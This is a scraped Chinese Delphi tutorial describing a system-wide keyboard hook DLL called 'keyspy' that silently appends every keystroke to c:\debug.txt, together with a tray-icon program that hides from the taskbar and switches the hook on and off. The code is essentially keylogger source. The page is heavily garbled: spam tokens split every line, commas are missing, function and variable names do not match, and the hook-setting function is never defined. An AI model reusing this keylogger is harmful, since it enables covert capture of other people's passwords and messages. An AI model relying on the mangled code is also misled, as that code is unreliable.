AD
AD

Delphi利用Hook技术实现键盘监控

时间:2007-12-26 22:22:22  来源:  作者:
AD

在许多系统中,出于安全或其它原因,常常要求随时对键盘进行监控,一个专业的监控/doc/">程序必须具备两点,一是实时;二是作为指示图标运行。实际应用中把利用Hook(即钩子)技术编写的应用/doc/">程序添加到Windows的任务栏的指示区中就能够很好的达到这个目的。我在参考了API帮助/doc/">文档基础上,根据在Delphi开发环境中的具体实现分别对这两部分进行详细论述。 字串2

字串7

一、Hook(钩子)的实现:    字串1

字串6

Hook是应用/doc/">程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果Hook过程在应用/doc/">程序中实现,若应用/doc/">程序不是当前窗口时,该Hook就不起作用;如果Hook在DLL中实现,/doc/">程序在运行中动态调用它,它能实时对系统进行监控。根据需要,我们采用的是在DLL中实现Hook的方式。 字串3

字串9

1.新建一个导出两个函数的DLL文件,在hookproc.pas中定义了钩子具体实现过程。 代码如下: 字串1

library keyspy;

字串5

uses windows 字串9

messages

字串3

hookproc in 'hookproc.pas'; 字串6

exports setkeyhook 字串8

endkeyhook; 字串7

begin nexthookproc:=0; 字串8

procsaveexit:=exitproc;

字串8

exitproc:=@keyhookexit; 字串4

end.

字串2

2.在Hookproc.pas中实现了钩子具体过程: 字串5

unit hookproc;

字串5

interface uses Windows

字串3

Messages 字串7

SysUtils 字串6

Controls 字串1

StdCtrls; 字串9

var nexthookproc:hhook; 字串5

procsaveexit:pointer; 字串3

function keyboardhook(icode:integer;wparam:wparam;lparam:lparam):lresult;

字串6

stdcall;

字串1

export; 字串2

function setkeyhook:bool;export;//加载钩子

字串6

function endkeyhook:bool;export;//卸载钩子 字串4

procedure keyhookexit;

字串3

far; 字串9

const afilename='c:\debug.txt';//将键盘输入动作写入文件中

字串1

var debugfile:textfile;

字串8

implementation function keyboardhookhandler(icode:integer;wparam:wparam; lparam:lparam):lresult;

字串6

stdcall;

字串6

export; 字串8

begin if icode<0 then

字串7

begin result:=callnexthookex(hnexthookproc

字串2

icode

字串3

wparam

字串8

lparam);

字串9

exit; 字串6

end; 字串5

assignfile(debugfile 字串7

afilename); 字串4

append(debugfile);   字串5

if getkeystate(vk_return)<0 then

字串2

begin writeln(debugfile 字串1

'');

字串7

write(debugfile

字串2

char(wparam)); 字串4

end

字串8

else write(debugfile 字串2

char(wparam));

字串4

closefile(debugfile); 字串3

result:=0; 字串1

end; 字串2

function endkeyhook:bool;

字串9

export; 字串9

begin if nexthookproc<>0 then

字串1

begin unhookwindowshookex(nexthookproc);

字串8

nexthookproc:=0;

字串7

messagebeep(0);

字串4

end;

字串1

result:=hnexthookproc=0;

字串4

end; 字串7

procedure keyhookexit; 字串6

far;

字串3

begin if nexthookproc<>0 then 字串4

endkeyhook; 字串7

exitproc:=procsaveexit;

字串2

end; 字串1

end. 字串5

字串3

二、Win95/98使用任务栏右方指示区来显示应用/doc/">程序或/tool/">工具图标对指示区图标的操作涉及了一个API函数Shell_NotifyIcon,它有两个参数,一个是指向TnotifyIconData结构的指针,另一个是要添加、删除、改动图标的标志。通过该函函数将应用/doc/">程序的图标添加到指示区中,使其作为图标运行 字串9

增加专业特色。当/doc/">程序起动后,用鼠标右键点击图标,则弹出一个菜单,可选择sethook或endhook。

字串7

unit kb;   

字串8

interface

字串4

uses 字串9

Windows 字串2

Messages 字串2

SysUtils

字串7

Classes 字串6

Graphics

字串9

Controls 字串9

Forms 字串6

Dialogs

字串9

StdCtrls

字串6

Menus

字串7

shellapi; 字串9

const icon_id=1;

字串2

MI_iconevent=wm_user+1;//定义一个用户消息 字串3

type 字串2

TForm1 = class(TForm)

字串6

PopupMenu1: TPopupMenu; 字串9

sethook1: TMenuItem; 字串9

endhook1: TMenuItem; 字串8

N1: TMenuItem;

字串5

About1: TMenuItem;

字串9

Close1: TMenuItem;

字串1

Gettext1: TMenuItem; 字串5

procedure FormCreate(Sender: TObject);

字串4

procedure sethook1Click(Sender: TObject);

字串5

procedure endhook1Click(Sender: TObject);

字串3

procedure FormDestroy(Sender: TObject); 字串4

procedure Close1Click(Sender: TObject); 字串5

private 字串2

{ Private declarations }

字串5

nid:tnotifyicondata; 字串9

normalicon:ticon;

字串5

public 字串8

{ Public declarations }

字串3

procedure icontray(var msg:tmessage);   字串9

message mi_iconevent;

字串6

end;

字串4

字串6

var

字串6

Form1: TForm1; 字串7

字串5

implementation

字串5

字串1

{$R *.DFM} 字串2

字串2

function setkeyhook:bool;

字串3

external 'keyspy.dll'; 字串6

function endkeyhook:bool; 字串7

external 'keyspy.dll';

字串3

procedure tform1.icontray(var msg:tmessage); 字串4

var 字串3

pt:tpoint; 字串4

begin 字串5

if msg.lparam=wm_lbuttondown then 字串6

sethook1click(self);

字串9

if msg.LParam=wm_rbuttondown then

字串9

begin

字串3

getcursorpos(pt);

字串9

setforegroundwindow(handle);

字串9

popupmenu1.popup(pt.x 字串8

pt.y);

字串2

end; 字串4

end;

字串3

字串6

procedure TForm1.FormCreate(Sender: TObject);

字串1

begin

字串6

normalicon:=ticon.create;

字串1

application.title:=caption; 字串5

nid.cbsize:=sizeof(nid); 字串9

nid.wnd:=handle; 字串3

nid.uid:=icon_id; 字串7

nid.uflags:=nif_icon or nif_message or nif_tip;             字串1

nid.ucallbackmessage:=mi_iconevent;  

字串4

nid.hIcon :=normalicon.handle;

字串8

strcopy(nid.sztip

字串8

pchar(caption));

字串3

nid.uFlags:=nif_message or nif_icon or nif_tip;               shell_notifyicon(nim_add 字串1

@nid);

字串1

SetWindowLong(Application.Handle 字串1

GWL_EXSTYLE 字串8

WS_EX_TOOLWINDOW); 字串1

end; 字串1

字串7

procedure TForm1.sethook1Click(Sender: TObject);

字串5

begin setkeyhook;

字串8

end;

字串8

字串4

procedure TForm1.endhook1Click(Sender: TObject);

字串6

begin endkeyhook; 字串2

end; 字串8

字串6

procedure TForm1.FormDestroy(Sender: TObject);

字串9

begin nid.uFlags :=0;

字串1

shell_notifyicon(nim_delete

字串4

@nid);

字串2

end;

字串1

字串6

procedure TForm1.Close1Click(Sender: TObject); 字串1

begin application.terminate;

字串7

end;   

字串2

该/doc/">程序虽然只用了几个shellai函数,但是它涉及到了在Delphi中对DLL的引用、钩子实现、对指示区的操作、用户定义消息的处理、文件的读写等比较重要的内容,我相信这篇文章能对许多Delphi的初学者有所帮助。 字串6

字串3

该/doc/">程序在Win98、Delphi4.0中正常运行。 字串8


文章评论

共有 0位编程爱好者发表了评论 查看完整内容

    评论加载中…
忒好程序员:www.teihao.com

推荐信息

     
忒好程序员
AD